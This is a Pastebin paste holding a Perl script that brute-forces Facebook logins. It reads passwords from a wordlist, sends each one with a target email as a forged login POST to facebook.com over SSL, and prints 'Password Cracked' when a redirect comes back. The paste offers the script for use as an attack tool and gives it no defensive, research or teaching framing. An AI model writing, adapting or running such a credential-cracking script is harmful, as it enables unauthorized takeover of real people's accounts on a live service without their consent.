Guest User

Untitled

a guest
Feb 11th, 2018
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.05 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3.  
  4. use strict;
  5. use Net::SSLeay::Handle;
  6.  
  7. if(!defined($ARGV[0] && $ARGV[1])) {
  8.  
  9. system('clear');
  10. print "Usage: perl $0 Login wordlist.txt\n";
  11. exit; }
  12.  
  13. my $user = $ARGV[0];
  14. my $wordlist = $ARGV[1];
  15.  
  16. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  17. print "\nNow Cracking Account is : $user ...\n";
  18.  
  19. while (my $password = <LIST>) {
  20. chomp ($password);
  21. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  22.  
  23. my $a = "POST /login.php HTTP/1.1";
  24. my $b = "Host: www.facebook.com";
  25. my $c = "Connection: close";
  26. my $e = "Cache-Control: max-age=0";
  27. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  28. my $g = "Origin: https://www.facebook.com";
  29. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24";
  30. my $i = "Content-Type: application/x-www-form-urlencoded";
  31. my $j = "Accept-Encoding: gzip,deflate,sdch";
  32. my $k = "Accept-Language: en-US,en;q=0.8";
  33. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  34.  
  35. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  36. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  37. my $cl = length($post);
  38. my $d = "Content-Length: $cl";
  39.  
  40.  
  41. my ($host, $port) = ("www.facebook.com", 443);
  42.  
  43. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  44.  
  45.  
  46. print SSL "$a\n";
  47. print SSL "$b\n";
  48. print SSL "$c\n";
  49. print SSL "$d\n";
  50. print SSL "$e\n";
  51. print SSL "$f\n";
  52. print SSL "$g\n";
  53. print SSL "$h\n";
  54. print SSL "$i\n";
  55. print SSL "$j\n";
  56. print SSL "$k\n";
  57. print SSL "$l\n";
  58. print SSL "$cookie\n\n";
  59.  
  60. print SSL "$post\n";
  61.  
  62. my $success;
  63. while(my $result = <SSL>){
  64. if($result =~ /Location(.*?)/){
  65. $success = $1;
  66. }
  67. }
  68. if (!defined $success)
  69. {
  70. print "[-] $password -> Password Not Found \n";
  71. close SSL;
  72. }
  73. else
  74. {
  75. print "Password Cracked=> Pass is::\n";
  76. print "$password\n";
  77. close SSL;
  78. exit;
  79. }
  80. }
Add Comment
Please, Sign In to add comment